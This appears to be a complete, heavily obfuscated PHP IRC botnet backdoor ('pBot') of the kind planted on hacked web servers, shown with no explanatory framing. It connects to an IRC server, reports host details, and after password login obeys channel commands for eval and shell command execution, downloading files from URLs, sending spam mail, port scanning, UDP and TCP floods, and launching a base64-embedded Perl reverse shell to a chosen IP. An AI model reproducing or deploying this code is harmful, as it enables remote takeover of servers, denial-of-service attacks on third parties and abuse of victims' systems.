start(); goto Nqabp; mLeh9: set_time_limit(0); goto aYD_W; aYD_W: error_reporting(0); goto C0R4w; eqgBs: class pBot { var $config = array("\163\x65\162\166\x65\162" => "\151\x72\143\x2e\x69\x6e\x64\x6f\x69\162\143\56\151\x64", "\160\x6f\162\164" => "\x36\66\x36\67", "\160\141\x73\x73" => '', "\160\x72\145\146\151\x78" => "\137", "\x6d\141\170\x72\141\156\144" => "\63", "\x63\x68\x61\156" => "\43\142\x75\141\x79\141\x64\141\x72\x61\164", "\143\150\141\156\x32" => "\43\x62\x75\x61\171\x61\144\141\x72\x61\x74", "\153\x65\171" => "\163\151\141\160", "\x6d\x6f\144\145\x73" => "\x2b\160\163", "\x70\x61\x73\163\x77\157\162\144" => "\x30\x34\60\x36\60\x32\64\70", "\164\162\x69\x67\x67\145\162" => "\x2e", "\x68\157\163\x74\x61\x75\x74\x68" => "\x2a\56\151\x72\143\x63\x6c\157\x75\144\x2e\x63\157\x6d"); var $users = array(); function start() { if (!($this->conn = fsockopen($this->config["\x73\145\162\x76\145\x72"], $this->config["\x70\x6f\162\164"], $e, $s, 30))) { $this->start(); } $ident = $this->config["\x70\162\x65\x66\151\170"]; $alph = range("\60", "\71"); for ($i = 0; $i < $this->config["\155\x61\170\162\141\x6e\144"]; $i++) { $ident .= $alph[rand(0, 9)]; } if (strlen($this->config["\160\x61\x73\x73"]) > 0) { $this->send("\x50\x41\123\x53\40" . $this->config["\160\x61\x73\x73"]); } $this->send("\x55\x53\x45\x52\40" . $ident . "\40\x31\x32\67\56\x30\56\x30\56\x31\x20\154\x6f\143\141\x6c\150\157\163\164\x20\x3a" . php_uname() . ''); $this->set_nick(); $this->main(); } function main() { while (!feof($this->conn)) { $this->buf = trim(fgets($this->conn, 512)); $cmd = explode("\40", $this->buf); if (substr($this->buf, 0, 6) == "\x50\111\116\107\40\72") { $this->send("\120\x4f\116\x47\x20\72" . substr($this->buf, 6)); } if (isset($cmd[1]) && $cmd[1] == "\60\x30\61") { $this->send("\115\x4f\x44\105\40" . $this->nick . "\40" . $this->config["\x6d\x6f\x64\x65\163"]); $this->join($this->config["\143\x68\141\x6e"], $this->config["\153\x65\171"]); if (@ini_get("\163\x61\146\145\137\155\157\x64\145") or strtolower(@ini_get("\163\141\x66\145\x5f\155\x6f\144\x65")) == "\157\x6e") { $safemode = "\157\x6e"; } else { $safemode = "\157\146\x66"; } $uname = php_uname(); $this->privmsg($this->config["\x63\x68\141\156\x32"], "\x5b\x2\165\x6e\x61\x6d\145\x21\2\x5d\72\x20{$uname}\40\x28\x73\x61\146\145\72\40{$safemode}\x29"); } if (isset($cmd[1]) && $cmd[1] == "\x34\63\x33") { $this->set_nick(); } if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, "\x20\x3a"), 2); $msgcmd = explode("\x20", $msg); $nick = explode("\41", $cmd[0]); $vhost = explode("\x40", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if ($msgcmd[0] == $this->nick) { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i + 1]; } } else { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i]; } } if (count($cmd) > 2) { switch ($cmd[1]) { case "\x51\x55\x49\124": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "\120\x41\122\124": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "\120\122\x49\x56\115\x53\107": if (!$this->is_logged_in($host) && ($vhost == $this->config["\x68\x6f\163\x74\141\x75\164\x68"] || $this->config["\150\157\163\164\141\165\x74\x68"] == "\x2a")) { if (substr($mcmd[0], 0, 1) == "\x2e") { switch (substr($mcmd[0], 1)) { case "\x65\150": if ($mcmd[1] == $this->config["\160\x61\x73\163\167\x6f\162\144"]) { $this->privmsg($this->config["\x63\150\x61\x6e"], "\x5b\x2\101\x75\164\x68\2\135\x3a\x20\101\x57\101\x53\x53\123\123\x53\x53\x53\40{$nick}\40{$nick}\x20{$nick}\40\114\117\107\x49\116\56\x2e\x2e\56\x2e\56\56\56\56\x2e\56\56\x21\41\41\x21\41\41\x21\41\41\41\41\x21\41\x21\x21\x21\x21\x21\41\x21"); $this->log_in($host); } else { $this->privmsg($this->config["\x63\x68\x61\156"], "\133\2\101\165\x74\x68\2\x5d\72\40\112\105\115\x42\117\x54\x2e\x2e\56\41\x21\x21\40{$nick}\x20{$nick}\40{$nick}\x20{$nick}\x20{$nick}\x20{$nick}\40\x41\162\145\160\x20\x4d\141\154\151\x6e\147\40\x52\141\151\x6d\165\40\x43\157\x6b\56\56\41\41\x21\x21"); } break; } } } elseif ($this->is_logged_in($host)) { if (substr($mcmd[0], 0, 1) == "\56") { switch (substr($mcmd[0], 1)) { case "\x72\145\163\164\x61\162\164": $this->send("\x51\x55\x49\124\40\72\162\x65\x73\x74\x61\x72\164\x20\143\x6f\155\x6d\141\156\144\157\x20\x66\x72\x6f\155\x20{$nick}"); fclose($this->conn); $this->start(); break; case "\x6d\x61\x69\x6c": if (count($mcmd) > 4) { $header = "\x46\x72\x6f\x6d\72\40\74" . $mcmd[2] . "\76"; if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) { $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\x2\155\141\151\x6c\x2\135\x3a\40\111\x6d\160\157\x73\x73\151\166\x65\154\40\x6d\141\156\144\x61\162\x20\145\55\x6d\141\151\154\x2e"); } else { $this->privmsg($this->config["\x63\150\141\156"], "\x5b\2\x6d\141\151\x6c\2\x5d\x3a\x20\115\x65\x6e\163\x61\147\145\155\40\x65\x6e\166\151\141\x64\x61\x20\160\x61\162\141\x20\2" . $mcmd[1] . "\x2"); } } break; case "\163\x61\x66\x65": if (@ini_get("\x73\x61\x66\x65\x5f\155\157\x64\145") or strtolower(@ini_get("\163\x61\x66\145\x5f\x6d\x6f\144\145")) == "\x6f\156") { $safemode = "\157\156"; } else { $safemode = "\x6f\146\x66"; } $this->privmsg($this->config["\x63\150\141\156"], "\x5b\x2\x73\x61\x66\145\x20\x6d\x6f\x64\145\x2\135\x3a\x20" . $safemode . ''); break; case "\x69\x6e\x62\x6f\170": if (isset($mcmd[1])) { $token = md5(uniqid(rand(), true)); $header = "\x46\x72\157\x6d\x3a\x20\74\151\156\x62\x6f\170" . $token . "\100\152\x61\x74\x69\x6d\143\x6f\x6d\56\x63\x6f\x6b\76"; $a = php_uname(); $b = getenv("\123\x45\122\x56\x45\122\x5f\x53\x4f\106\x54\127\x41\122\105"); $c = gethostbyname($_SERVER["\x48\124\124\120\137\110\x4f\x53\x54"]); if (!mail($mcmd[1], "\111\156\x42\157\170\x20\124\x65\163\164", "\43\143\x72\x65\x77\100\152\x61\x74\151\x6d\x63\x6f\x6d\x2e\x20\x73\x69\x6e\x63\x65\40\x32\60\60\x33\12\xa\151\160\72\x20{$c}\40\xa\163\157\x66\x74\167\x61\x72\145\x3a\40{$b}\x20\12\163\171\163\x74\x65\x6d\72\40{$a}\40\12\x76\x75\154\156\72\40\x68\x74\164\160\x3a\x2f\x2f" . $_SERVER["\x53\105\122\x56\x45\122\x5f\x4e\x41\115\x45"] . '' . $_SERVER["\x52\x45\121\125\x45\x53\x54\137\125\x52\111"] . "\12\xa\147\x72\x65\x65\164\172\x3a\x20\167\x69\143\153\x65\144\xa\x62\x79\72\x20\x64\x76\x6c\40\74\x6a\x61\164\x69\x6d\x2e\143\x6f\155\x6d\165\x6e\x69\164\x79\100\x67\155\x61\151\154\x2e\143\157\x6d\x3e", $header)) { $this->privmsg($this->config["\x63\x68\141\x6e"], "\133\2\151\x6e\142\157\x78\2\135\72\x20\x55\x6e\x61\142\154\145\x20\164\157\x20\163\145\x6e\144"); } else { $this->privmsg($this->config["\x63\150\141\156"], "\x5b\2\151\156\x62\157\170\x2\x5d\72\x20\115\145\x73\163\x61\x67\x65\x20\163\x65\156\164\x20\164\x6f\40\x2" . $mcmd[1] . "\x2"); } } break; case "\143\157\x6e\x62\141\143\153": if (count($mcmd) > 2) { $this->conback($mcmd[1], $mcmd[2]); } break; case "\x64\156\x73": if (isset($mcmd[1])) { $ip = explode("\x2e", $mcmd[1]); if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\x2\x64\156\163\2\x5d\72\x20" . $mcmd[1] . "\x20\x3d\76\x20" . gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config["\143\150\x61\x6e"], "\x5b\x2\144\x6e\163\2\135\x3a\x20" . $mcmd[1] . "\40\x3d\x3e\x20" . gethostbyname($mcmd[1])); } } break; case "\151\156\146\157": case "\166\x75\156\x6c": if (@ini_get("\163\x61\x66\145\x5f\155\157\144\x65") or strtolower(@ini_get("\x73\x61\x66\x65\x5f\x6d\x6f\x64\145")) == "\157\156") { $safemode = "\x6f\156"; } else { $safemode = "\157\x66\146"; } $uname = php_uname(); $this->privmsg($this->config["\143\x68\x61\156"], "\x5b\2\151\156\x66\157\x2\x5d\x3a\x20{$uname}\x20\50\163\141\146\145\x3a\x20{$safemode}\51"); $this->privmsg($this->config["\143\150\141\156"], "\133\2\166\x75\154\156\2\135\x3a\40\150\164\x74\160\x3a\57\x2f" . $_SERVER["\x53\x45\x52\126\x45\122\x5f\116\101\x4d\x45"] . '' . $_SERVER["\122\x45\121\125\x45\123\124\x5f\x55\x52\x49"] . ''); break; case "\x62\x6f\x74": $this->privmsg($this->config["\x63\150\141\156"], "\x5b\x2\142\157\x74\2\135\x3a\x20\160\150\160\x62\157\164\x20\x32\x2e\60\x20\x72\x65\x63\x6f\162\144\x69\x6e\x67\x20\x62\x79\x20\152\x61\164\x69\x6d\x63\x6f\x6d\56"); break; case "\x75\x6e\x61\155\x65": if (@ini_get("\163\x61\x66\x65\x5f\x6d\x6f\144\x65") or strtolower(@ini_get("\163\x61\x66\145\137\x6d\x6f\x64\x65")) == "\x6f\156") { $safemode = "\x6f\x6e"; } else { $safemode = "\157\x66\146"; } $uname = php_uname(); $this->privmsg($this->config["\143\x68\141\x6e"], "\133\x2\151\156\146\x6f\x2\135\72\x20{$uname}\x20\50\163\x61\146\145\72\x20{$safemode}\51"); break; case "\162\156\x64\156\x69\x63\153": $this->set_nick(); break; case "\162\x61\x77": $this->send(strstr($msg, $mcmd[1])); break; case "\145\166\x61\154": $eval = eval(substr(strstr($msg, $mcmd[1]), strlen($mcmd[1]))); break; case "\163\145\x78\145\143": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = shell_exec($command); $ret = explode("\xa", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\x63\x68\141\x6e"], "\40\x20\40\x20\x20\x20\x3a\x20" . trim($ret[$i])); } } break; case "\145\x78\x65\143": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = exec($command); $ret = explode("\12", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\143\150\141\156"], "\x20\40\40\x20\40\x20\x3a\40" . trim($ret[$i])); } } break; case "\x70\x61\x73\163\x74\x68\162\165": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = passthru($command); $ret = explode("\12", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\143\150\141\x6e"], "\x20\40\x20\40\x20\x20\x3a\40" . trim($ret[$i])); } } break; case "\x70\x6f\x70\x65\x6e": if (isset($mcmd[1])) { $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\2\x70\x6f\160\145\x6e\2\135\x3a\40{$command}"); $pipe = popen($command, "\x72"); while (!feof($pipe)) { $pbuf = trim(fgets($pipe, 512)); if ($pbuf != NULL) { $this->privmsg($this->config["\143\x68\141\156"], "\x20\40\40\40\x20\72\40{$pbuf}"); } } pclose($pipe); } case "\163\x79\x73\x74\145\x6d": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = system($command); $ret = explode("\12", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\x63\x68\x61\156"], "\40\x20\40\x20\40\40\x3a\40" . trim($ret[$i])); } } break; case "\x70\x73\x63\x61\156": if (count($mcmd) > 2) { if (fsockopen($mcmd[1], $mcmd[2], $e, $s, 15)) { $this->privmsg($this->config["\x63\150\141\x6e"], "\x5b\x2\160\x73\x63\141\x6e\2\x5d\x3a\40" . $mcmd[1] . "\x3a" . $mcmd[2] . "\x20\x69\x73\40\x2\x6f\x70\145\x6e\2"); } else { $this->privmsg($this->config["\x63\x68\x61\156"], "\133\x2\160\163\143\x61\x6e\2\x5d\x3a\x20" . $mcmd[1] . "\72" . $mcmd[2] . "\x20\151\163\40\x2\143\154\157\163\x65\144\2"); } } break; case "\x64\157\x77\156\x6c\157\x61\144": if (count($mcmd) > 2) { if (!($fp = fopen($mcmd[2], "\167"))) { $this->privmsg($this->config["\x63\150\141\156"], "\133\x2\x64\x6f\167\156\154\157\141\144\2\x5d\x3a\x20\116\x61\157\40\146\157\151\x20\x70\157\x73\x73\151\166\x65\x6c\x20\146\141\172\x65\x72\x20\157\x20\x64\x6f\167\x6e\154\x6f\x61\144\56\x20\120\145\x72\x6d\151\x73\163\141\x6f\40\x6e\145\147\x61\144\x61\x2e"); } else { if (!($get = file($mcmd[1]))) { $this->privmsg($this->config["\143\150\x61\156"], "\133\x2\x64\x6f\x77\x6e\154\x6f\141\x64\x2\x5d\72\40\116\x61\157\x20\x66\x6f\x69\40\160\x6f\163\x73\151\166\x65\x6c\x20\146\141\x7a\x65\x72\40\157\x20\x64\x6f\x77\156\154\157\x61\144\x20\x64\x65\x20\2" . $mcmd[1] . "\2"); } else { for ($i = 0; $i <= count($get); $i++) { fwrite($fp, $get[$i]); } $this->privmsg($this->config["\x63\150\141\x6e"], "\x5b\x2\x64\157\167\x6e\x6c\157\x61\x64\x2\x5d\x3a\40\101\162\161\x75\151\166\x6f\40\2" . $mcmd[1] . "\2\x20\x62\141\151\170\141\144\x6f\x20\160\x61\162\x61\x20\2" . $mcmd[2] . "\2"); } fclose($fp); } } else { $this->privmsg($this->config["\143\x68\141\156"], "\x5b\2\144\x6f\x77\156\x6c\x6f\141\144\2\x5d\x3a\40\165\163\x65\40\x2e\x64\x6f\167\156\154\x6f\x61\x64\40\150\x74\164\x70\72\57\57\171\x6f\x75\162\x2e\x68\x6f\163\x74\57\x66\151\x6c\x65\40\57\x74\155\x70\x2f\x66\x69\x6c\145"); } break; case "\x6c\157\147\157\165\164": $this->log_out($host); $this->privmsg($this->config["\143\x68\x61\x6e"], "\x5b\2\x61\165\x74\150\2\135\x3a\40{$nick}\x20\116\x64\141\156\x67\40\x43\145\x77\x6f\153\x20\114\145\153\x20\x57\x65\x73\x20\x4d\x61\162\151\41\x21\41\41"); break; case "\165\x64\x70\146\154\x6f\157\144": if (count($mcmd) > 3) { $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "\x74\x63\x70\x66\154\157\x6f\x64": if (count($mcmd) > 5) { $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn, "{$msg}\15\xa"); } function join($chan, $key = NULL) { $this->send("\112\117\111\116\40{$chan}\x20{$key}"); } function privmsg($to, $msg) { $this->send("\120\x52\111\126\115\123\x47\x20{$to}\x20\x3a{$msg}"); } function notice($to, $msg) { $this->send("\x4e\x4f\124\x49\x43\x45\x20{$to}\x20\72{$msg}"); } function is_logged_in($host) { if (isset($this->users[$host])) { return 1; } else { return 0; } } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if (isset($_SERVER["\123\x45\122\126\x45\122\137\123\117\106\x54\127\101\122\x45"])) { if (strstr(strtolower($_SERVER["\x53\105\x52\126\x45\122\137\123\117\106\x54\127\x41\122\105"]), "\141\160\141\x63\x68\145")) { $this->nick = "\x5b\101\135"; } elseif (strstr(strtolower($_SERVER["\123\105\x52\126\105\x52\x5f\x53\117\106\124\127\101\122\x45"]), "\151\x69\x73")) { $this->nick = "\x5b\x42\135"; } elseif (strstr(strtolower($_SERVER["\x53\105\122\126\105\122\x5f\123\x4f\x46\124\127\101\122\x45"]), "\170\151\x74\x61\x6d\151")) { $this->nick = "\133\x43\135"; } else { $this->nick = "\x5b\104\135"; } } else { $this->nick = "\x5b\105\135"; } $this->nick .= $this->config["\160\x72\145\x66\x69\170"]; for ($i = 0; $i < $this->config["\155\141\x78\162\141\156\144"]; $i++) { $this->nick .= mt_rand(0, 9); } $this->send("\x4e\111\x43\x4b\40" . $this->nick); } function udpflood($host, $packetsize, $time) { $this->privmsg($this->config["\143\150\141\156"], "\133\x2\125\144\160\x46\x6c\157\157\x64\40\x53\x74\141\162\x74\145\x64\41\x2\135"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } $timei = time(); $i = 0; while (time() - $timei < $time) { $fp = fsockopen("\165\x64\160\x3a\x2f\57" . $host, mt_rand(0, 6000), $e, $s, 5); fwrite($fp, $packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config["\x63\x68\141\x6e"], "\133\2\125\144\x70\106\154\x6f\157\x64\40\x46\151\x6e\151\x73\150\x65\144\x21\2\x5d\72\40{$env}\40\x4d\x42\x20\x65\156\166\x69\x61\x64\157\163\40\x2f\x20\115\145\144\x69\141\x3a\40{$vel}\x20\x4d\102\x2f\163\x20"); } function tcpflood($host, $packets, $packetsize, $port, $delay) { $this->privmsg($this->config["\143\x68\141\x6e"], "\133\x2\x54\x63\160\106\x6c\157\x6f\144\x20\123\x74\141\162\x74\x65\144\x21\x2\x5d"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } for ($i = 0; $i < $packets; $i++) { if (!($fp = fsockopen("\x74\143\160\x3a\57\x2f" . $host, $port, $e, $s, 5))) { $this->privmsg($this->config["\143\x68\x61\x6e"], "\133\2\124\143\160\x46\x6c\x6f\x6f\x64\2\135\x3a\40\105\162\x72\157\x72\72\40\74{$e}\x3e"); return 0; } else { fwrite($fp, $packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config["\x63\150\x61\x6e"], "\x5b\x2\124\143\160\106\154\x6f\157\x64\40\106\151\x6e\x69\x73\x68\x65\x64\41\x2\135\72\x20\x43\157\x6e\x66\151\x67\40\55\40{$packets}\40\x70\x61\143\157\x74\x65\163\40\x70\141\x72\x61\40{$host}\72{$port}\x2e"); } function conback($ip, $port) { $this->privmsg($this->config["\x63\x68\141\x6e"], "\133\2\x63\x6f\156\142\x61\143\x6b\x2\135\x3a\40\x74\x65\156\x74\x61\x6e\x64\x6f\x20\x63\157\156\145\x63\164\141\156\144\x6f\x20\x61\40{$ip}\x3a{$port}"); $dc_source = "\111\x79\x45\x76\144\x58\116\171\114\62\x4a\160\x62\151\x39\x77\132\130\112\x73\104\x51\160\61\143\x32\125\x67\x55\62\71\x6a\141\62\x56\60\117\x77\x30\x4b\143\110\112\x70\142\x6e\121\x67\111\153\122\x68\144\x47\x45\147\121\x32\150\x68\x4d\110\115\x67\x51\x32\x39\165\142\x6d\126\x6a\x64\x43\x42\103\x59\127\116\162\x49\x45\112\x68\131\62\x74\153\x62\x32\71\171\x58\107\x35\x63\142\x69\111\x37\104\121\160\160\x5a\151\x41\x6f\x49\x53\x52\102\125\x6b\144\127\x57\172\102\144\x4b\123\102\67\x44\121\157\x67\111\x48\x42\x79\141\x57\x35\x30\x5a\151\101\x69\126\130\116\150\132\62\125\66\x49\103\x51\x77\111\x46\164\x49\x62\63\x4e\60\130\x53\x41\x38\x55\107\71\171\144\x44\65\143\x62\151\111\x37\104\x51\x6f\147\111\107\x56\x34\141\x58\x51\157\115\x53\x6b\67\104\121\160\71\x44\x51\x70\x77\x63\155\154\165\144\x43\101\x69\127\171\160\144\111\105\x52\61\142\x58\102\160\142\x6d\143\x67\121\x58\112\156\x64\127\61\154\x62\156\x52\172\x58\107\x34\x69\x4f\x77\x30\113\112\x47\150\166\x63\63\121\x67\120\x53\x41\153\121\x56\x4a\110\126\x6c\163\x77\x58\x54\x73\x4e\103\x69\x52\167\142\63\112\60\x49\104\60\x67\x4f\104\x41\x37\x44\x51\x70\x70\x5a\x69\101\x6f\112\x45\106\123\x52\x31\132\x62\115\126\60\x70\111\110\x73\x4e\103\x69\101\147\112\x48\102\166\143\156\121\147\x50\x53\x41\153\x51\x56\x4a\110\126\x6c\163\170\x58\x54\x73\x4e\x43\x6e\60\x4e\x43\x6e\102\x79\x61\x57\x35\x30\111\x43\x4a\142\113\154\x30\147\121\62\x39\x75\142\155\x56\152\144\107\154\165\x5a\171\x34\x75\114\x6c\x78\165\111\x6a\x73\116\x43\x69\122\x77\143\x6d\x39\x30\x62\171\x41\x39\x49\x47\144\154\144\x48\102\x79\x62\63\x52\x76\x59\x6e\154\165\131\x57\61\154\113\103\144\60\x59\x33\101\x6e\x4b\123\102\x38\x66\x43\x42\153\141\127\x55\157\111\x6c\x56\x75\141\x32\x35\x76\x64\62\64\x67\125\110\112\x76\144\107\x39\152\x62\62\170\x63\x62\151\x49\160\x4f\167\60\x4b\x63\62\71\152\141\62\x56\x30\113\x46\116\x46\x55\x6c\x5a\106\x55\151\167\x67\x55\x45\132\x66\123\125\x35\106\126\x43\x77\147\x55\x30\x39\104\x53\x31\x39\124\126\106\x4a\x46\x51\125\x30\x73\111\x43\x52\x77\143\155\71\x30\142\x79\x6b\147\146\x48\167\147\x5a\107\154\154\111\103\x67\151\x55\x32\71\x6a\x61\x32\x56\60\111\105\126\171\x63\x6d\x39\171\x58\x47\64\151\x4b\124\163\116\x43\155\61\x35\x49\103\122\60\x59\x58\112\156\x5a\x58\x51\x67\x50\123\102\160\x62\155\126\60\x58\x32\106\x30\142\62\x34\x6f\x4a\107\x68\166\143\63\121\160\x4f\x77\60\x4b\141\x57\131\147\113\x43\x46\152\142\62\65\x75\132\127\116\60\x4b\106\116\106\x55\x6c\x5a\106\x55\x69\x77\x67\143\x47\106\x6a\141\171\x41\151\x55\62\65\x42\116\110\147\64\x49\x69\x77\147\115\151\x77\x67\x4a\110\102\166\x63\156\121\x73\x49\103\x52\x30\131\x58\112\x6e\x5a\x58\x51\x70\x4b\123\102\67\x44\x51\157\x67\111\107\x52\160\132\123\x67\151\x56\127\x35\150\x59\155\170\x6c\x49\x48\x52\166\111\x45\x4e\166\x62\x6d\x35\154\x59\63\122\143\x62\x69\x49\x70\x4f\167\x30\x4b\x66\x51\x30\x4b\143\x48\112\x70\x62\156\121\x67\111\x6c\x73\x71\x58\x53\x42\x54\143\107\x46\63\x62\x6d\154\x75\x5a\171\102\x54\x61\x47\126\163\142\106\x78\x75\111\x6a\163\116\103\x6d\154\x6d\111\x43\x67\150\x5a\x6d\71\x79\x61\x79\x67\x67\x4b\123\153\x67\x65\x77\x30\113\111\x43\102\166\143\x47\126\165\x4b\x46\116\x55\122\105\x6c\117\114\103\111\53\x4a\x6c\x4e\x46\x55\x6c\132\106\125\x69\111\x70\117\x77\60\x4b\x49\x43\102\166\143\107\x56\x75\x4b\x46\116\x55\122\105\x39\126\x56\103\167\151\x50\151\x5a\x54\x52\126\x4a\x57\122\x56\x49\151\113\124\x73\116\103\x69\101\147\142\63\x42\x6c\x62\151\x68\124\x56\105\122\x46\x55\x6c\111\x73\111\x6a\64\x6d\x55\60\x56\123\x56\x6b\126\x53\x49\151\x6b\x37\x44\x51\157\x67\111\107\126\64\132\x57\115\x67\145\171\x63\166\131\x6d\x6c\x75\x4c\x33\x4e\x6f\x4a\x33\x30\147\112\x79\x31\151\x59\x58\116\x6f\112\171\101\x75\x49\x43\112\143\x4d\103\111\147\x65\x43\101\x30\117\x77\x30\x4b\111\103\x42\x6c\x65\x47\154\x30\113\104\x41\160\x4f\x77\x30\x4b\146\x51\x30\x4b\143\110\112\x70\142\156\121\147\111\x6c\163\x71\x58\x53\102\105\131\130\122\x68\131\x32\150\154\x5a\106\170\165\130\107\64\151\x4f\x77\75\75"; if (is_writable("\x2f\164\x6d\160")) { if (file_exists("\x2f\x74\155\160\57\x64\143\x2e\160\154")) { unlink("\x2f\164\155\160\x2f\x64\x63\56\x70\x6c"); } $fp = fopen("\x2f\x74\x6d\160\57\144\143\56\160\154", "\x77"); fwrite($fp, base64_decode($dc_source)); passthru("\x70\x65\162\x6c\x20\57\164\155\x70\57\144\x63\x2e\160\x6c\40{$ip}\40{$port}\40\x26"); unlink("\57\x74\155\x70\57\x64\x63\x2e\x70\154"); } else { if (is_writable("\x2f\166\141\162\57\164\x6d\x70")) { if (file_exists("\x2f\x76\141\162\57\x74\x6d\x70\x2f\144\143\56\x70\x6c")) { unlink("\57\x76\x61\162\57\x74\155\160\x2f\x64\x63\56\160\x6c"); } $fp = fopen("\57\166\x61\162\x2f\164\155\160\57\x64\143\56\160\154", "\167"); fwrite($fp, base64_decode($dc_source)); passthru("\x70\145\x72\x6c\40\x2f\166\141\x72\57\x74\155\x70\57\x64\x63\x2e\160\154\x20{$ip}\40{$port}\x20\x26"); unlink("\x2f\x76\x61\x72\57\x74\155\160\57\x64\x63\x2e\x70\x6c"); } if (is_writable("\x2e")) { if (file_exists("\x64\143\56\160\154")) { unlink("\144\143\x2e\x70\154"); } $fp = fopen("\x64\x63\x2e\x70\154", "\167"); fwrite($fp, base64_decode($dc_source)); passthru("\x70\145\x72\x6c\x20\x64\x63\x2e\160\154\40{$ip}\40{$port}\40\46"); unlink("\x64\x63\x2e\160\x6c"); } } } } goto v2lMz; C0R4w: echo "\157\x6b\41"; goto eqgBs; Nqabp: ?>